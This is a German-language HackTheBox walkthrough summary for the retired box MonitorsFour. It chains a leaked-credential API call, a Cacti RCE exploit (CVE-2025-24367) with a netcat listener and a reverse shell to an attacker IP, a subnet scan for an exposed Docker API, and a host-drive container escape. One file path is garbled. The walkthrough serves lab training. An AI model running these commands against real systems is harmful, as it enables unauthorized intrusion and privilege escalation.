
HackTheBox MonitorsFour Walkthrough über Credential-Leak, CVE-2025-24367 Cacti RCE und CVE-2025-9074 Docker Desktop API Container Escape zu Root.
Plattform: HackTheBox OS: Windows Status: Retired — vollständiger Walkthrough veröffentlicht.
Vollständiger Walkthrough: l3dsec.com/walkthroughs/monitorsfour-htb
Nmap → nginx (80) + WinRM (5985)
→ ffuf → cacti.monitorsfour.htb (Cacti)
→ nicht authentifizierter API-Endpunkt → Anmeldedaten
→ CVE-2025-24367 Cacti RCE → Shell als www-data (Docker)
→ CVE-2025-9074 Docker Desktop API (192.168.65.x:2375)
→ Host-Dateisystem einbinden → root-Flag
nmap -sV -sC <TARGET_IP>
nmap -sV -sC <TARGET_IP> -p-
PORT STATE SERVICE VERSION
80/tcp open http nginx
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
Virtual-Host-Fuzzing ergab cacti.monitorsfour.htb — eine Cacti-Netzwerküberwachungsinstanz.
Ein nicht authentifizierter API-Endpunkt auf der Hauptdomain gibt Benutzerkontodaten einschließlich MD5-Passwort-Hashes preis:
curl -s "http://monitorsfour.htb/user?token=0"
MD5-Hash sofort geknackt — liefert gültige Anmeldedaten für Cacti.
Cacti-Instanz anfällig für authentifizierte RCE über die Graph-Template-Funktionalität:
nc -lvnp 9001
sudo python3 exploit.py \
-url http://cacti.monitorsfour.htb \
-u marcus \
-p <password> \
-i <ATTACKER_IP> \
-l 9001
Shell als www-data in einem Docker-Container. User-Flag unter /home/marcus/user.txt.
Docker-Socket nicht eingebunden. Docker Desktop stellt seine Engine-API unauthentifiziert im internen Subnetz 192.168.65.0/24 bereit:
# Scan for open Docker API
for i in $(seq 1 254); do
(curl -s --connect-timeout 1 http://192.168.65.$i:2375/version 2>/dev/null \
| grep -q "ApiVersion" && echo "192.168.65.$i:2375 OPEN") &
done; wait
Erstellte einen Container über die API, der das Host-Laufwerk C:\ einbindet, und las dann das root-Flag aus C:sers\Administrator\Desktop oot.txt.
| Flag | Wert |
|---|---|
| User | redacted |
| Root | redacted |
Nur für Bildungszwecke. Testen Sie nur Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.